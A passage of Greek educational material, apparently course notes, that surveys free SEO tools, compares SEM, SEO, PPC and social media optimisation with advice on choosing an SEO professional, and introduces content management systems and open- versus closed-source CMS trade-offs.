στοιχεία επικοινωνίας για κάθε domain και δημιουργεί και τα αντίστοιχα emails για να ζητήσουμε από τους webmasters να αφαιρέσουν τα backlinks που σας αφορούν. Siteliner: Εντοπίζει duplicate content στην ιστοσελίδα μας, δηλαδή περιεχόμενο που επαναλαμβάνεται. Οι μηχανές αναζήτησης τιμωρούν την ύπαρξη του περιεχομένου που

επαναλαμβάνεται. Μόλις το εντοπίσουμε με την συγκεκριμένη εφαρμογή μπορούμε να χρησιμοποιήσουμε το robots.txt αρχείο για να τις ενημερώσουμε να μην το επισκέπτονται. Xenu’s Link Sleuth: Εντοπίζει τα broken links στις ιστοσελίδες που σας ενδιαφέρουν. Το design της εφαρμογής είναι ακαλαίσθητο αλλά αρκετά χρήσιμο. Whois Lookup: Εντοπίζει σε ποιόν ανήκει το domain name με κατάληξη .COM, .NET, .ORG που μας ενδιαφέρει. WebMeUp: Ισχυρό backlink tool με το οποίο μπορούμε να παρακολουθούμε τους συνδέσμους που δείχνουν στην ιστοσελίδα των ανταγωνιστών μας. Έχει free mode με το οποίο μπορούμε να κάνουμε μέχρι 3 ελέγχους το μήνα και να εξάγουμε τα αποτελέσματα σε αρχείο CSV. Visibility: Αξιόλογη Ελληνική μηχανή εστιασμένη στο google.gr η οποία δίνει χρήσιμα στατιστικά στοιχεία για τις Ελληνικές ιστοσελίδες όπως είναι το visibility τους, δηλαδή πόσο συχνά εμφανίζονται στα αποτελέσματα αναζήτησης, οι νέες λέξεις- κλειδιά που δημιουργούν επισκεψιμότητα σε αυτές, οι μεταβολές στις μηνιαίες αναζητήσεις για συγκεκριμένα keywords, τα αντίστοιχα landing pages και η κατάταξη τους καθώς και οι αλλαγές στον αλγόριθμο της Google που έχουν πραγματοποιηθεί τους τελευταίους δέκα μήνες. Rank checker for Firefox: Παρουσιάζει την κατάταξη της ιστοσελίδας μας και των ανταγωνιστών μας για τις λέξεις – κλειδιά που μας ενδιαφέρουν. Ιδιαίτερα αξιόπιστο, πανεύκολο στη χρήση του

Κριτήρια Επιλογής της κατάλληλης Μεθόδου SEM Οι επιχειρήσεις της σύγχρονης εποχής η οποία πάσχει από την οικονομική κρίση βρίσκονται σε ένα διαδικτυακό αγώνα με έπαθλο την βέλτιστη κατάταξή της στα αποτελέσματα των μηχανών αναζήτησης και κατά συνέπεια την εξασφάλιση της καλής και κερδοφόρας πορείας της στην αγορά. Το Search Engine Marketing αποτελεί ένα ευρύτερο σύνολο από επιμέρους μεθόδους marketing (Search Engine Optimization, Pay Per Click, Paid Inclusion, Social Media Optimization).Η σωστή ακόμα και η συνδυαστική χρήση και επιλογή αυτών, μας οδηγεί στα επιθυμητά για την ιστοσελίδα μας και κατ’επέκταση για την επιχείρησή μας αποτελέσματα. Σε αυτό το κεφάλαιο λοιπόν θεωρήθηκε αξιοσημείωτο να παρουσιαστεί ποια μέθοδο SEM πρέπει να επιλέξει να χρησιμοποιήσει η κάθε επιχείρηση καθώς και τον τρόπο με τον οποίο

αυτή πρέπει να διαλέξει τον κατάλληλο πάροχο που προσφέρει και εμπορεύεται μεθόδους SEM. Διαφορά Μεταξύ SEM Καί SEO Το SEO και το SEM αποτελούν δύο έννοιες οι οποίες εφαρμόζονται για την προώθηση ιστοσελίδων στο διαδίκτυο. Το πρώτο χρησιμοποιεί τεχνικές προώθησης ενός ιστότοπου στα οργανικά (μη πληρωμένα) αποτελέσματα μιας μηχανής αναζήτησης για συγκεκριμένες λέξεις ή φράσεις κλειδιά. Το SEM από τη δική του πλευρά προωθεί την ιστοσελίδα και μέσω πληρωμένων διαφημίσεων οι οποίες εμφανίζονται μαζί με τα οργανικά αποτελέσματα. Το SEO όπως φαίνεται και στην παρακάτω εικόνα αποτελεί μέρος του SEM. Περίπτωση Εφαρμογής SEM Και SEO Στην περίπτωση που ο ιδιοκτήτης της ιστοσελίδας επιθυμεί να επιδιώξει άμεση επισκεψιμότητα, γρήγορη αύξηση των πωλήσεων τότε το SEM είναι αυτό που θα τον βοηθήσει να τα πραγματοποιήσει. Από την άλλη όμως αν ο χρόνος προσέλκυσης της επισκεψιμότητας δεν απαιτούμε να είναι σύντομος και έχουμε τη δυνατότητα της αναμονής στο χρονικό διάστημα 1- 3 μηνών για να έχουμε τα θετικά αποτελέσματα, τότε ενδείκνυται να χρησιμοποιήσουμε το SEO. Σαφώς η ταυτόχρονη χρήση των δύο αυτών τεχνικών προώθησης ιστοσελίδων θεωρείται η βέλτιστη επιλογή. Συγκεκριμένα το SEO εξασφαλίζει μεγαλύτερα περιθώρια κέρδους για το λόγο ότι δεν απαιτείται καταβολή χρηματικού αντίτιμου και από την άλλη η το SEM παρέχει άμεσα και μετρήσιμα αποτελέσματα. Η καταλληλότερη χρονική στιγμή να χρησιμοποιήσω τεχνικές προώθησης ιστοσελίδων SEO είναι πριν ξεκινήσει η υλοποίηση της σελίδας. Υπάρχει βέβαια και η δυνατότητα εφαρμογής SEO και μετά την δημιουργία της ιστοσελίδας, αυτό όμως συνεπάγεται το ενδεχόμενο σημαντικών αλλαγών της ιστοσελίδας πράγμα το οποίο είναι πιο χρονοβόρο και δαπανηρό για τον ιδιοκτήτη της ιστοσελίδας. SEO VS PPC Αναμφισβήτητα όλες οι επιχειρήσεις για να είναι ανταγωνιστικές θα πρέπει να χρησιμοποιήσουν τεχνικές SEO, οι οποίες όμως παρέχουν μακροπρόθεσμα αποτελέσματα βελτιστοποίησης όπως αναφέρθηκε πιο πάνω. Σαφώς η χρήση του ενός δεν απαγορεύει τη χρήση του άλλου. Οι PPC τεχνικές και τα πλεονεκτήματά της διαδραματίζουν έναν επιπλέον πολύ σημαντικό ρόλο στη βελτιστοποίηση της ιστοσελίδας. Η απάντηση στην επιλογή SEO ή PPC βασίζεται στους στόχους που έχει θέσει η επιχείρηση σχετικά με το χρόνο που επιδιώκει

τα αποτελέσματα καθώς επίσης και στο μηνιαίο προϋπολογισμό που διαθέτει για το marketing. Paid Inclusion VS PPC Πρόκειται για δύο παρόμοιες τεχνικές προώθησης ιστοσελίδων οι οποίες αποτελούν μια επένδυση με την καταβολή χρηματικού αντίτιμου με σκοπό την καλύτερη και πιο γρήγορη κατάταξη της ιστοσελίδας στη λίστα των αποτελεσμάτων. Η διαφορά μεταξύ των δύο αυτών μεθόδων εντοπίζεται στο είδος της υπηρεσίας που καλύπτει η κάθε μια. Συγκεκριμένα για τους νέους εγγεγραμμένους χρήστες του Paid Inclusion πληρώνουν μια ετήσια συνήθως συνδρομή για να εξασφαλίσουν ότι η ιστοσελίδα τους έχει ευρετηριαστεί στην μηχανή αναζήτησης και μπορεί να ανιχνευτεί ανά πάσα στιγμή χωρίς όμως να εγγυάται την υψηλή θέση στα αποτελέσματα της κατάταξης. Το γκρίζο σημείο είναι ότι το IP κοστίζει λιγότερο και η μηχανή αναζήτησης δίνει προτεραιότητα σε ιστοσελίδες που χρησιμοποιούν PPC. Social Media Optimization Οι μηχανές αναζήτησης είναι ιδιαίτερα φιλικές ως προς τα κοινωνικά δίκτυα, πράγμα το οποίο κάνει την εγγραφή των ιστοσελίδων σε αυτές άκρως απαραίτητη. Η κοινωνική σελίδα της επιχείρησης εμφανίζεται ανάμεσα στα πρώτα αποτελέσματα από τις μηχανές αναζήτησης και επιτυγχάνεται η βελτιστοποίησή της μέσω των εξωτερικών προς τη σελίδα συνδέσμων που περιέχονται στα κοινωνικά δίκτυα. Τα κοινωνικά δίκτυα (Socila Media) αποτελούν μια μορφή αμφίδρομης επικοινωνίας της επιχείρησης με τους πελάτες της. Το Facebook αποτελεί το πιο ισχυρό και το πιο δημοφιλή social media στο οποίο ο ιδιοκτήτης της επιχείρησης μπορεί να δημιουργήσει την ιστοσελίδα του και να αποκτήσει διαδικτυακούς φίλους τους οποίους θα ενημερώνει για όλες τις νέες υπηρεσίες ή προϊόντα που παρέχει ,για τις διάφορες προσφορές και γενικά οτιδήποτε αφορά την επιχείρηση. Τα οφέλη της βελτιστοποίησης των ιστοσελίδων μέσω των κοινωνικών δικτύων είναι τεράστια για πολλούς λόγους. Συγκεκριμένα η ιστοσελίδα απευθύνεται σε μια τεράστια διαδικτυακή αγορά χωρίς γεωγραφικούς περιορισμούς, δημιουργώντας έτσι ισχυρές δημόσιες σχέσεις εκτοξεύοντας την αναγνωρισιμότητά της στα ύψη. Η ιστοσελίδα είναι σε θέση να προβάλλει συνεχώς τα κίνητρά της και τις προσφορές της για την ποιότητα και την εμπιστοσύνη των υπηρεσιών της ή των προϊόντων της και να

διαφημίζεται συνεχώς. Τα πλεονεκτήματα αυτά είναι κατανοητό ότι οδηγούν στη βελτιστοποίηση της ιστοσελίδας. Τρόπος Επιλογής Κατάλληλου Επαγγελματία SEO/SEM Σε περίπτωση που το επίπεδο των γνώσεων ενός ιδιοκτήτη ιστοσελίδας είναι αρκετά καλό και στην περίπτωση που έχει χρόνο στη διάθεση του για να ενημερωθεί για τις τεχνικές του SEO/SEM, θα ήταν σε θέση και ο ίδιος από μόνος του να εφαρμόσει τουλάχιστον τις πιο βασικές από αυτές. Αν όμως επιθυμεί μια ολοκληρωμένη και επαγγελματική προσέγγιση για την ιστοσελίδα του επιδιώκοντας μια σίγουρη και υψηλή κατάταξη από τις μηχανές αναζήτησης θα πρέπει να απευθυνθεί σε κάποιο επαγγελματία SEO/SEM. Αξιοσημείωτο θα ήταν να αναλύσουμε τον τρόπο με τον οποίο ο ιδιοκτήτης της ιστοσελίδας επιλέγει τον κατάλληλο SEO/SEM επαγγελματία. Σε γενικές γραμμές καταλληλότερος σύμφωνα και με αυτά που υποστηρίζουν οι μηχανές αναζήτησης θεωρείται εκείνος ο οποίος χρησιμοποιεί καλόβουλες τεχνικές. Θα μπορούσαμε μέσα από έρευνα είτε διαδικτυακή, είτε μέσω κάποιων γνωστών που έχουν κάποιες γνώσεις σχετικά με τεχνικές SEO να ενημερωθούμε για τον καταλληλότερο επαγγελματία SEO. Η έρευνα θα πρέπει να στηρίζεται στα εξής κριτήρια: 1. Να δούμε κάποια site που έχει αναλάβει ο επαγγελματίας SEO καθώς και τα αποτελέσματα που είχε η ιστοσελίδα μετά την εφαρμογή των τεχνικών βελτιστοποίησης. 2. Σε περίπτωση των θετικών αποτελεσμάτων να εξετάσουμε τους τρόπους με τους οποίους τα πραγματοποίησε. Σε καμία περίπτωση δε θα πρέπει οι τρόποι αυτοί να αναφέρονται σε κακόβουλες τεχνικές εξαπάτησης των μηχανών αναζήτησης. 3. Ενημέρωση από τον επαγγελματία για τα αποτελέσματα που θα πρέπει να περιμένουμε καθώς και για το χρονικό διάστημα στο οποίο αυτά θα πραγματοποιηθούν. 4. Ενημέρωση για τον τρόπο με τον οποίο θα παρακολουθούμε τα αποτελέσματα των τεχνικών SEO στην ιστοσελίδα μας. 5. Πόσο χρονικό διάστημα ασχολείται με τεχνικές SEO, καλό θα ήταν να έχει μια γενική εμπειρία και βέλτιστο η περισσότερη πείρα του SEO επαγγελματία να σχετίζεται με το περιεχόμενο της ιστοσελίδας μας. 6. Ενημέρωση του κόστους και γενικότερα της τιμολογιακής πολιτικής του.

7. Ποιες θα είναι οι ενέργειες στην περίπτωση αποτυχίας των αποτελεσμάτων. Τα κριτήρια επιλογής δεν διαφέρουν από τα κριτήρια SEO. Πρωταγωνιστικό ρόλο και σε αυτή την επιλογή διαδραματίζει η ενημέρωση και η έρευνα. Επίσης συνιστάται ο επαγγελματίας που θα αναλάβει το SEM μέσω Google Adwords να είναι πιστοποιημένοι από την Google. Συμπεράσματα Σύμφωνα με όσα παρουσιάστηκαν καταλήγουμε αναμφίβολα για τη σπουδαιότητα και την αναγκαιότητα της εφαρμογής τεχνικών βελτιστοποίησης ιστοσελίδας. Το διαδίκτυο αποτελεί αναπόσπαστο κομμάτι στην καθημερινότητα των ανθρώπων για την αναζήτηση και εύρεση πληροφοριών για κάθε είδους θέμα. Οι μηχανές αναζήτησης χρησιμοποιώντας διάφορα και έξυπνα λογισμικά προγράμματα θεωρούνται το διαδικτυακό μέσο που χρησιμοποιεί ο σύγχρονος άνθρωπος για να συλλέξει πληροφορίες και δεδομένα για οποιοδήποτε θέμα τον ενδιαφέρει Οι μηχανές αναζήτησης διαθέτουν μια τεράστια βάση δεδομένων στην οποία αποθηκεύονται όλες οι ιστοσελίδες που επιθυμούν να είναι εγγεγραμμένες σε αυτή. Το γεγονός αυτό δε θα μπορούσαν να αφήσουν ανεκμετάλλευτο οι επιχειρήσεις που επιθυμούν να είναι ανταγωνιστικές για να κατακτήσουν ένα ικανοποιητικό για τις απαιτήσεις της διαδικτυακό μερίδιο αγοράς. Σύμφωνα με αυτό διαδραματίζεται μια καθημερινή και συνεχόμενη μάχη μεταξύ των ιστοσελίδων έχοντας ως έπαθλο την καλύτερη βαθμολογία –κατάταξη στη λίστα των αποτελεσμάτων των μηχανών αναζήτησης. Η απλή δημιουργία μιας ιστοσελίδας δεν αρκεί πρέπει να μπορέσει να είναι και αποτελεσματική. Επομένως μια ιστοσελίδα πρέπει συγχρόνως με την εμφάνισή της να συνδυάζει και τη βελτιστοποίησή της στις μηχανές αναζήτησης. Η βελτιστοποίηση αυτή επιτυγχάνεται εφαρμόζοντας τις τεχνικές SEO που αναφέρθηκαν και αναλύθηκαν, αναθέτοντάς αυτές σε έμπειρους και καταρτισμένους επαγγελματίες. Σε περίπτωση εφαρμογής κακόβουλων τεχνικών που προσπαθούν να εξαπατήσουν και να παραπλανήσουν τις μηχανές αναζήτησης η ιστοσελίδα καθώς και η εταιρεία παροχής υπηρεσιών SEO υπόκειται ποινές από την μηχανή αναζήτησης. Τα αποτελέσματα του SEO προωθούν την ιστοσελίδα στο διαδίκτυο και η σωστή χρήση και εφαρμογή αυτού την οδηγούν στη καλύτερη και επιθυμητή κατάταξη στη λίστα των αποτελεσμάτων των μηχανών αναζήτησης με αποτέλεσμα την αύξηση της επισκεψιμότητας

της ιστοσελίδας. Το τελευταίο συνεπάγεται αύξηση των πελατών της επιχείρησης, αύξηση των πωλήσεων και των κερδών της, η επιχείρηση θεωρείται ανταγωνιστική και ισχυρή στην αγορά. Κάποιες τεχνικές SEO παρέχονται δωρεάν κάποιες με την καταβολή κάποιου χρηματικού ποσού. Η επιλογή της τεχνική που θα χρησιμοποιηθεί κάθε φορά ή ποιος συνδυασμός αυτών, εξαρτάται από τα αποτελέσματα που η εκάστοτε επιχείρηση επιδιώκει, από το χρονικό διάστημα στο οποίο επιθυμεί να τα πραγματοποιήσει ,καθώς επίσης και από τον προϋπολογισμό που διαθέτει για τεχνικές SEO.

Εκπαιδευτική Υποενότητα 6.3 Συστήματα διαχείρισης περιεχομένου (cms) Γύρω στα τέλη της δεκαετίας του ’90 δημιουργήθηκε ο Παγκόσμιος Ιστός (WorldWide Web), ένα project που αρχικά αποτελούσε ιδέα ενός μηχανικού πληροφορικής που εργαζόταν στο CERN, τον TimBernerns-Lee. Αρχικά, όλες οι ιστοσελίδες δημιουργούνταν με τη χρήση της HTML (HyperTextMarkupLanguage– Γλώσσα Σήμανσης Υπερκειμένου) και ήταν απλές, χωρίς πολλές εικόνες ή μορφοποίηση στο περιεχόμενο. Αυτό, από ένα σημείο και μετά ήταν πρόβλημα γιατί οι web browsers που έβγαιναν τότε απαιτούσαν διαφορετικές εκδόσεις της HTML για να λειτουργήσουν. Λύση σε αυτό το πρόβλημα έδωσε ο διαχωρισμός του περιεχομένου από την εμφάνισή του, με τη βοήθεια των CSS(CascadingStyleSheets). Στα αρχικά στάδια λοιπόν της ανάπτυξης του Παγκόσμιου Ιστού και της HTML, είχαμε στατικές ιστοσελίδες, οι οποίες αποτελούνταν από πολλά αρχεία HTML που αποθηκεύονταν σε έναν webserver και εμφάνιζαν το ίδιο περιεχόμενο σε όλους τους χρήστες. Η διαχείριση και η ενημέρωσή τους ήταν μια επίπονη και χρονοβόρα διαδικασία. Η επόμενη φάση ήταν ο σχεδιασμός των λεγόμενων «datadrivenwebsites» ή αλλιώς δυναμικών ιστοσελίδων, οι οποίες εμφανίζουν μοναδικό περιεχόμενο σε κάθε χρήστη, ανάλογα με τις παραμέτρους που δίνει. Ο σχεδιασμός και η υλοποίηση δυναμικών ιστοσελίδων ήταν κάποτε πολυτέλεια μεγάλων επιχειρήσεων. Με την πάροδο των ετών και με την εξέλιξη της τεχνολογίας, οι δυνατότητες των webbrowsers και των σελίδων που μπορούσαν να υποστηρίξουν αναπτύχθηκαν ραγδαία. Από απλές και κοινότοπες HTML σελίδες, τώρα έχουμε δυναμικές ιστοσελίδες, που επιτρέπουν την αλληλεπίδραση με τους χρήστες σε τακτά χρονικά διαστήματα και την ανάκτηση συγκεκριμένων πληροφοριών από τη βάση δεδομένων.

Μια

από

τις

βασικότερες

δυνατότητες

του

Internet

είναι

τα

CMS

(ContentManagementSystem – Συστήματα Διαχείρισης Περιεχομένου), τα οποία επιτρέπουν στο χρήστη να δημιουργήσει και να τροποποιήσει το περιεχόμενο και τις πληροφορίες που διαθέτει μια δυναμική ιστοσελίδα όπως αυτή που θα υλοποιήσουμε. Επικρατέστεροι ορισμοί: Όπως προαναφέρθηκε τα αρχικά CMS αντιστοιχούν στις λέξεις Content Management System. Είναι μια ορολογία χωρίς έναν και μοναδικό ορισμό. Ένα CMS μπορεί να έχει πολλαπλές σημασίες αναλόγως των σεναρίων και των σκοπών ενός project. Μια εφαρμογή, πιθανότατα web-based, που παρέχει δυνατότητες σε πολλούς χρήστες (που ανήκουν σε διαφορετικά επίπεδα αδειών πρόσβασης) για να διαχειριστούν περιεχόμενο, δεδομένα ή πληροφορίες ενός προγράμματος ή μιας εφαρμογής internet. Η διαχείριση περιεχομένου αναφέρεται στη δημιουργία, τροποποίηση, αρχειοθέτηση, δημοσίευση, συνεργασία, αναφορά και διανομή του. Μια εφαρμογή που περιέχει όλες τις παραπάνω δυνατότητες, και όχι αναγκαία και την προϋπόθεση της γνώσης κάποιου συγκεκριμένου κώδικα. Ένα πακέτο λογισμικού για τη διαχείριση και επεξεργασία ενός ιστότοπου. Η παραδοσιακή μέθοδος κατασκευής των ιστοσελίδων εμπεριέχει έναν μεγάλο περιορισμό. Το περιεχόμενο των σελίδων που δημοσιεύεται δεν μπορεί να τροποποιηθεί εύκολα. Για να ενημερωθεί μια ιστοσελίδα, είτε απαιτείται η αγορά ενός ακριβού λογισμικού είτε η σχεδίαση της ιστοσελίδας από την αρχή. Έτσι λοιπόν, η απαίτηση συχνής ενημέρωσης των ιστοσελίδων από τους διαχειριστές αύξησε την ανάγκη για τα Συστήματα Διαχείρισης Περιεχομένου (CMS). Τα CMS έβαλαν στην άκρη κάθε περιορισμό σχετικά με την αναβάθμιση/ενημέρωση των ιστοσελίδων και έδωσαν τη δυνατότητα στους σχεδιαστές να προσθέσουν επιπλέον χαρακτηριστικά.

Δυνατότητες των CMS Η χρήση των CMS στην ανάπτυξη ιστοσελίδων επέφερε ευεργετικές δυνατότητες που βελτιώνουν κατά πολύ την κατασκευή, το σχεδιασμό και την ποιότητά τους. Με τη χρήση των CMS, οι ιδιοκτήτες των ιστοσελίδων μπορούν να τις ανανεώσουν εύκολα, χωρίς να χρειάζεται να έχουν εξειδικευμένες και ιδιαίτερες τεχνικές γνώσεις. Οι ιστοσελίδες μπορούν να ανανεώνονται online από οποιονδήποτε webbrowser. Η διαδικασία λοιπόν γίνεται σαφώς πολύ πιο εύκολη και πιο γρήγορη απ’ ότι πριν. Τα CMS συμπεριφέρονται σαν μια βάση δεδομένων και περιέχουν όλες τις πληροφορίες ενός website σε μορφή κειμένου. ‘Έτσι, είναι εύκολη η προσπέλαση οποιασδήποτε πληροφορίας μέσω του ειδικού εργαλείου της αναζήτησης. Μέσω των CMS, μια ιστοσελίδα μπορεί να ανανεωθεί ανά πάσα στιγμή, χωρίς να χρειάζεται να «κατέβει» προσωρινά ή τη βοήθεια ενός τεχνικού, γεγονός το οποίο αποδεικνύει ότι μπορούμε να εξοικονομήσουμε από την μια χρόνο και από την άλλη χρήμα. Οι ιστοσελίδες μπορούν να σχεδιάζονται με έναν τρόπο περισσότερο κατανοητό. Αυτό σημαίνει ότι οι ιστοσελίδες δεν περιορίζονται πλέον σε μια απλή αναπαράσταση κειμένου. Η προστασία με κωδικό, είναι απαραίτητη για την ασφάλεια της ιστοσελίδας. Τα CMS επιτρέπουν επίσης την ύπαρξη πολλαπλών χρηστών που μπορούν να εισέλθουν και να εξέλθουν από το site (login&logout), και να δουν διαφορετικά δεδομένα ανάλογα με τη γλώσσα προτίμησής τους, την ώρα της ημέρας, κλπ. Συνοπτικά, ένα CMS είναι ένα αποτελεσματικό εργαλείο που παρέχει μοναδικά, εύχρηστα και χαμηλού κόστους χαρακτηριστικά σε ιστότοπους. Η χρήση του CMS δίνει ευελιξία και έλεγχο

στους ιδιοκτήτες των ιστότοπων ώστε να τους διαχειρίζονται σύμφωνα με τη βούληση και τις απαιτήσεις που έχει ο καθένας.

Είδη και κατηγορίες CMS Τα CMS διακρίνονται σε ορισμένες κατηγορίες ανάλογα με κάποια βασικά χαρακτηριστικά που παρουσιάζουν. Κατηγοριοποιούνται λοιπόν ανάλογα με το είδος του παρόχου τους και ανάλογα με το πού βρίσκεται ο χώρος αποθήκευσης και διαχείρισης της βάσης δεδομένων του κάθε συστήματος διαχείρισης περιεχομένου (CMS).

Με βάση το είδος του παρόχου Commercial: Πρόκειται για λογισμικό που παρέχεται είτε από κερδοσκοπικούς, είτε από μη κερδοσκοπικούς οργανισμούς. Οι πάροχοι αυτοί κατά κύριο λόγο αναπτύσσουν το λογισμικό, το οποίο στη συνέχεια πουλάνε και υποστηρίζουν τεχνικά. OpenSource: πρόκειται για μια κατηγορία CMS, που δημιουργείται και συντηρείται από μια ανιδιοτελή και κοινωφελή κοινότητα χρηστών. Στη συνέχεια, το λογισμικό αυτό διανέμεται για συγκεκριμένο σκοπό στα μέλη αυτής της κοινότητας. Για αυτήν την κατηγορία των

λογισμικών, θα πρέπει σαφώς στο κόστος τους να συμπεριληφθούν και τα έξοδα τεχνικής υποστήριξης, τα οποία είναι αυξημένα σε αυτήν την περίπτωση. Επίσης, θα πρέπει να προστεθεί το εσωτερικό hardware και το τεχνικό προσωπικό που χρειάζεται για να συντηρηθεί το σύστημα, όπως είναι για παράδειγμα οι προγραμματιστές, οι οποίοι εγκαθιστούν τις ανανεώσεις και εξελίσσουν σταδιακά τη λειτουργία και απόδοση του προγράμματος. ‘Eνα από τα πιο διαδεδομένα συστήματα ανοιχτού κώδικα είναι το Wordpress. Το Wordpress είναι ένα απλό και κομψό CMS, ιδανικό για προσωπικά ιστολόγια (blogs),με ένα πλήθος από θέματα και μοντέλα διαθέσιμα online. Τα χαρακτηριστικά του είναι: Άδεια:GPL Γλώσσα:PHP Κύρια πλεονεκτήματα: Το πιο εύκολο στη χρήση, την παραμετροποίηση και την επέκταση. Κύρια μειονεκτήματα: Ζητήματα ασφαλείας (πρώτες εκδόσεις). Επίσης δεν ενδείκνυται για την υλοποίηση μεγάλων και πολύπλοκων ιστοσελίδων. Πρόβλεψη: Το καλύτερο για προσωπικές δημοσιεύσεις, με τεράστια κοινότητα από χρήστες, θα συνεχίσει για πολλά χρόνια να είναι η προτίμηση των bloggers. ManagedOpenSource: πρόκειται για έναν συνδυασμό της ελεύθερης και εμπορικής προσέγγισης, όπου ένας πάροχος υιοθετεί μια open-source λύση σαν τη βασική του πλατφόρμα και στη συνέχεια προσφέρει τη λύση αυτή σε άλλους, σε συνδυασμό με συμπληρωματικές υπηρεσίες τεχνικής υποστήριξης. Αυτή η λύση ουσιαστικά έχει εκλείψει σήμερα στην κοινότητα των μη κερδοσκοπικών παρόχων. Παρόλα αυτά, καθώς οι λύσεις opensource ωριμάζουν και εξελίσσονται, οι ειδικοί προβλέπουν ότι στα επόμενα χρόνια, θα εμφανιστούν πολύ πιο έντονα.

Με βάση το χώρο αποθήκευσης και διαχείρισης Στα ApplicationServiceProvider CMS, δηλαδή με Υποστήριξη Παρόχου Υπηρεσίας, ο κατασκευαστής τους φιλοξενεί όλα τα δεδομένα στους server της εταιρείας του. Με αυτόν τον τρόπο, απαλείφονται τα έξοδα για μια ακριβή αγορά λογισμικού και υλικού που θα φιλοξενεί το CMS. Παράλληλα, μειώνονται και οι ανάγκες για τεχνικούς πόρους, όπως για

συντηρητές δικτύων. Τέλος, βασικό πλεονέκτημα ενός τέτοιου είδους συστήματος είναι η συνεχής εξέλιξη, καθώς ο πάροχος προωθεί διαρκώς νέες λειτουργίες του προϊόντος και ανανεώσεις στους πελάτες του, προσφέροντας έτσι άμεση ανανέωση και πρωτοπορία της ιστοσελίδας. Στα CMS με παροχή άδειας (Licensed), ο πάροχός του πουλάει το προϊόν, δηλαδή παρέχει την άδεια χρήσης του, δεν εμπλέκεται στην όλη διαδικασία λειτουργίας του και ο χρήστης είναι πλέον υπεύθυνος, ώστε να το εγκαταστήσει, να το ρυθμίσει και να το συντηρήσει. Διαχειριστής σε αυτή την περίπτωση είναι το τεχνικό τμήμα του οργανισμού. Η προσέγγιση αυτών των CMS εξασφαλίζει ότι φιλοξενείς και διαχειρίζεσαι τα δικά σου δεδομένα. Επίσης τα Licensed είναι ειδικά για οργανισμούς, οι οποίοι διατηρούν ήδη κάποιο είδος παρόμοιας υπηρεσίας, όπως για παράδειγμα το Σύστημα Διαχείρισης Εξυπηρέτησης Πελατών (CRM), οπότε θα ήταν πιο φθηνό να συντηρούν ταυτόχρονα και ένα CMS. CMS κλειστού κώδικα εναντίον ανοιχτού κώδικα Ο σκοπός μιας οποιασδήποτε εταιρίας ανάπτυξης ιστοσελίδων είναι να παραδώσει ένα website που θα είναι εμφανίσιμο, αλλά αυτό δεν είναι το μόνο που εγγυάται τακτικούς πελάτες. Το site θα πρέπει να ενημερώνεται συχνά και για να γίνει αυτό χρειάζεται να είναι ένα εύκολα διαχειρίσιμο website. Αυτή δεν είναι δύσκολη διαδικασία αν το site είναι καθοδηγούμενο από ένα σύστημα διαχείρισης περιεχομένου (CMS). Αναπόφευκτα, η ερώτηση που δημιουργείται στο σημείο αυτό είναι η εξής: «Πρέπει να χρησιμοποιήσω δωρεάν ανοιχτού κώδικα ή πρέπει να αγοράσω κάποιο CMS»;

Πλεονεκτήματα - Μειονεκτήματα CMS ανοιχτού κώδικα 1. «Ανοιχτού κώδικα» σημαίνει ότι πολλά άτομα εργάζονται πάνω στο λογισμικό, κάτι το οποίο μας επιβεβαιώνει ότι ο συγκεκριμένος κώδικας είναι συμπαγής. 2. Τα εγχειρίδια χρήσης και εγκατάστασης βρίσκονται συνήθως πολύ εύκολα και υπάρχουν πολλοί που γράφουν λύσεις που ξεκινάνε από «Πώς να...», το οποίο κάνει το σχεδιασμό και την κατασκευή του κώδικα πολύ πιο εύκολα. 3. Υπάρχουν συχνές ενημερώσεις που βελτιώνουν συνεχώς το προϊόν. 4. Τα συστήματα ανοιχτού κώδικα επιτρέπουν στο χρήστη να δει τις δυνατότητές του λογισμικού και ύστερα να το τροποποιήσει ανάλογα με τις δικές του ανάγκες. 5. Προσφέρουν μια ποικιλία από μοντέλα για τα πάντα, από site κοινωνικής δικτύωσης και διαχείρισης αρχείων μέχρι forums και πλατφόρμες ηλεκτρονικού εμπορίου.

Μειονεκτήματα CMS ανοιχτού κώδικα 1. Εξαιτίας της πέρασης των συστημάτων ανοιχτού κώδικα, πολλά άτομα γνωρίζουν τον κώδικα, γεγονός το οποίο διακινδυνεύει την ασφάλεια της ιστοσελίδας. 2. Συνήθως μπορεί να δυσκολέψουν την ολοκλήρωση και την παραμετροποίηση. 3. Έχουν καμιά φορά στοιχεία που είναι περιττά για το δημιουργό της ιστοσελίδας. 4. Το γεγονός ότι τα ανοιχτά CMS δεν κοστίζουν, δε σημαίνει ότι είναι και 100% δωρεάν. Θα υπάρχουν πάντα τα έξοδα της ανάπτυξης του site, απλώς δεν χρειάζεται κανείς να πληρώσει για τις άδειες ώστε να χρησιμοποιήσει τα CMS αυτά. Πλεονεκτήματα CMS κλειστού κώδικα 1. Κλειστός κώδικας συνήθως σημαίνει καλύτερη ασφάλεια και υποστήριξη. Αυτό δε σημαίνει ότι είναι 100% ασφαλής, αλλά αν συμβεί ένα πρόβλημα η εταιρεία που δημιούργησε το CMS θα το αναλάβει η ίδια και θα το επιλύσει δωρεάν. 2. CMS κλειστού κώδικα σημαίνει επίσης αναλυτικά και σωστά γραμμένα εγχειρίδια. Πολλές εταιρείες προσφέρουν επιπλέον και ανθρώπινη υποστήριξη. 3. Μερικές εταιρείες προσφέρουν συνεχείς ενημερώσεις που αναβαθμίζουν το προϊόν. 4. Εύχρηστος πίνακας ελέγχου μόνο με τα βασικά στοιχεία που χρειάστηκε ο προγραμματιστής. Μειονεκτήματα CMS κλειστού κώδικα 1. Συνήθως το κοστολόγιο είναι αρκετά υψηλό για τον πελάτη, και δε συμφέρει. 2. Αν η εταιρεία που ανέπτυξε δεν βοηθάει, τότε ο δημιουργός της ιστοσελίδας δεν είναι πολύ τυχερός και θα πρέπει να συνεχίσει μόνος του την επεξεργασία. 3. Η ενημέρωση δε γίνεται τόσο συχνά, όσο στα συστήματα ανοιχτού κώδικα. 4. Δεν υπάρχει δυνατότητα κανείς να φτάσει στα ‘βάθη’ του κώδικα και να προσθέσει δικά του χαρακτηριστικά χωρίς να λάβει τη συμβουλή των προγραμματιστών.

